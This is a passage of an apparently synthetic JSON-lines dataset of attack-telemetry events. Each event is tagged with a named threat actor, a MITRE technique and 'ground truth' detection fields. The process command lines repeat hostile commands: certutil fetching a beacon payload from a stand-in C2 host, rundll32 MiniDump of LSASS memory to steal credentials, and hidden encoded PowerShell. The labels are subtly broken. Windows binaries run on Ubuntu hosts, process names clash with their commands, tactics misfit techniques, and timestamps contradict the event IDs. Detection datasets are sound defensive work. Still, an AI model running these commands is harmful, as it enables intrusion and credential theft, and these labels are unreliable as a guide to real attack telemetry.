C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-01-30T01:01:46.000Z","user":{"name":"i-yalbu2ykjfs1","sid":"S-1-5-21-737527486-750260000-4157"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Initial Access"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20260302T093150000Z_0018649","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 \| Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.137.48.247","name":"IAM-ROLE-4Z5MBQUBRN","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18649APT41T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.45.17.106","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-12-19T22:51:52.000Z","user":{"name":"svc_e66l12qhb76u","sid":"S-1-5-21-140681328-120340844-4391"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Impact","Discovery"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260128T152853000Z_0018651","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.8.219.176","name":"APP-WEB-1O5OZF4NOP","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18651APT41T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.97.189.139","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-10-12T14:24:12.000Z","user":{"name":"CORP\\hcqwqs787rk8","sid":"S-1-5-21-265108206-313732690-6370"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion","Exfiltration"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20260214T174752000Z_0018653","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.151.154.51","name":"DB-ORACLE-9F09XV71O5","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18653Volt TyphoonT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.29.189.74","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-10-02T13:47:08.000Z","user":{"name":"azuread\\obmyg7tgyr50","sid":"S-1-5-21-372650933-231060772-3918"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Credential Access","Impact"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20260813T132939000Z_0018655","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.214.29.219","name":"APP-WEB-G1CUUUYMAX","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18655APT41T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.42.119.93","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-20T16:54:13.000Z","user":{"name":"CORP\\aok460s05alf","sid":"S-1-5-21-900776045-132554311-5519"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Collection","Defense Evasion","Impact"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20250305T132222000Z_0018657","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.137.7.159","name":"DB-ORACLE-EYJIEGMPJK","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18657UNC4841T1484.001"},"network":{"domain":"github.com","dst_ip":"1.44.11.12","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2984 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-12-21T18:41:20.000Z","user":{"name":"arn:aws:iam::qnmu6kyekm01","sid":"S-1-5-21-884267172-978727570-8995"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Credential Access"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20261209T040438000Z_0018659","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.74.93.229","name":"IAM-ROLE-78ARC9P0EC","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18659Mustang PandaT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.80.106.234","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 762 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-12-01T04:18:26.000Z","user":{"name":"arn:aws:iam::78kkqrmikuap","sid":"S-1-5-21-536520552-232364669-2131"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Initial Access"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20260708T173854000Z_0018661","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 \| Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.141.16.3","name":"APP-WEB-KHCS6OW03Q","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18661APT41T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.183.245.169","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-07-19T14:55:28.000Z","user":{"name":"azuread\\cus9v9r8ucix","sid":"S-1-5-21-172628997-617643900-4495"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Discovery","Collection","Reconnaissance"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20260808T181940000Z_0018663","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["Fileless","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.119.102.233","name":"DB-ORACLE-SR2NXZF6LD","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18663Scattered SpiderT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.170.144.147","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3681 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-31T08:56:38.000Z","user":{"name":"svc_phkslih5wbe7","sid":"S-1-5-21-268637871-638523850-5131"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Credential Access","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250220T054759000Z_0018665","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.50.9.177","name":"WIN-FIN-SRV-6SVHSBNJVQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18665UNC4841T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.183.225.177","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-13T22:17:09.000Z","user":{"name":"CORP\\9ivdniirj0nl","sid":"S-1-5-21-720722639-101946002-4575"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Execution","Persistence"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20260423T075006000Z_0018667","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 \| Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.27.86.229","name":"DB-ORACLE-8AFJJJHKVR","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18667FIN7T1021.006"},"network":{"domain":"github.com","dst_ip":"1.110.161.46","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-12-04T10:03:44.000Z","user":{"name":"arn:aws:iam::wtvlrxc9x62w","sid":"S-1-5-21-591390873-448189505-8492"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20260105T195546000Z_0018669","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.64.13.168","name":"DB-ORACLE-0TVEXRMJV2","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18669Scattered SpiderT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.121.239.215","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-05-29T15:09:17.000Z","user":{"name":"azuread\\3euw9ts5zvzv","sid":"S-1-5-21-634267681-134534610-5108"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Credential Access","Persistence","Reconnaissance"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20260215T020939000Z_0018671","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 \| Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.182.242.229","name":"DB-ORACLE-OFSZGNQBIZ","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18671Lapsus$T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.4.28.216","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-18T17:52:22.000Z","user":{"name":"svc_57lu252utmub","sid":"S-1-5-21-109692628-425461396-4556"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20260227T142121000Z_0018673","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.15.180.76","name":"DB-ORACLE-R5D64BPXCP","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18673Mustang PandaT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.79.30.228","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-29T15:38:01.000Z","user":{"name":"svc_nwpa8fu5vgq7","sid":"S-1-5-21-370972389-190563658-5474"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Defense Evasion","Initial Access","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20251130T033224000Z_0018675","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.161.51.41","name":"WIN-FIN-SRV-CUDQP7W2R4","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18675Mustang PandaT1566.001"},"network":{"domain":"github.com","dst_ip":"1.171.149.228","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-11-25T22:52:20.000Z","user":{"name":"i-x0bekfyam9yn","sid":"S-1-5-21-579136603-289497671-5903"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Collection"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260904T073606000Z_0018677","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.20.134.2","name":"EC2-INST-TLX1IKOKTN","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18677Lapsus$T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.189.55.112","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2891 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-07-18T20:10:07.000Z","user":{"name":"i-afu15d0gu1g2","sid":"S-1-5-21-114631750-127475892-7142"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Reconnaissance","Lateral Movement","Impact"],"technique_id":"T1570"},"event_id":"evt_fin7_20260216T055232000Z_0018679","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.113.94.187","name":"AZURE-VM-71TK6SYSKW","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18679FIN7T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.100.95.183","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-09-19T09:49:54.000Z","user":{"name":"CORP\\p737xlv18cqi","sid":"S-1-5-21-185266929-236430279-5031"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Command and Control","Collection"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20250218T040303000Z_0018681","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.192.52.130","name":"AZURE-VM-XZEA9QVMB1","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18681Scattered SpiderT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.78.213.32","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-10-02T06:45:59.000Z","user":{"name":"CORP\\29wltc8dfn6x","sid":"S-1-5-21-589388547-860209899-7705"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact","Defense Evasion"],"technique_id":"T1071.001"},"event_id":"evt_apt29_20260215T095046000Z_0018683","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 \| Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.240.224.100","name":"IAM-ROLE-AWFLNM2LTR","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18683APT29T1071.001"},"network":{"domain":"github.com","dst_ip":"1.56.231.100","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-04-12T22:54:58.000Z","user":{"name":"i-b2tvasbipnqq","sid":"S-1-5-21-665233731-583717407-2282"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Exfiltration","Impact","Collection"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20250909T120212000Z_0018685","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.69.222.220","name":"WIN-FIN-SRV-Q6ZC3ICFHG","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18685Scattered SpiderT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.26.8.229","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-07-18T11:07:54.000Z","user":{"name":"i-5a7bmfgdypkp","sid":"S-1-5-21-962080761-986904193-1312"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Discovery"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20261024T175442000Z_0018687","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 \| Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.77.31.222","name":"EC2-INST-B29MOLIWPT","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18687APT41T1021.006"},"network":{"domain":"github.com","dst_ip":"1.148.168.168","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-03-28T17:45:53.000Z","user":{"name":"CORP\\qpo9k4knwztj","sid":"S-1-5-21-199390156-981343838-9301"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Collection","Reconnaissance","Credential Access"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260127T211446000Z_0018689","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.166.74.171","name":"WIN-FIN-SRV-YDIM58S168","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18689APT41T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.109.112.193","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 865 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-02-18T02:24:24.000Z","user":{"name":"i-rooymnfuwzcz","sid":"S-1-5-21-223176139-787120582-9765"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Exfiltration","Discovery"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20250422T034741000Z_0018691","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.149.183.12","name":"AZURE-VM-XGL7UZRQLB","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18691Mustang PandaT1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.70.240.195","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2769 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-19T16:15:45.000Z","user":{"name":"CORP\\25fa4atca8ud","sid":"S-1-5-21-833465127-202572606-5130"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Collection","Privilege Escalation","Execution"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20250324T213419000Z_0018693","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 \| Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.108.3.97","name":"WIN-FIN-SRV-N73LL75PBF","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18693FIN7T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.37.25.211","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-08-14T13:12:20.000Z","user":{"name":"i-geodxd6aejq9","sid":"S-1-5-21-653392527-943535135-1532"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Exfiltration","Collection"],"technique_id":"T1003.001"},"event_id":"evt_unc4841_20260210T212619000Z_0018695","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.210.201.239","name":"APP-WEB-HC572CA7II","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18695UNC4841T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.62.31.132","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe 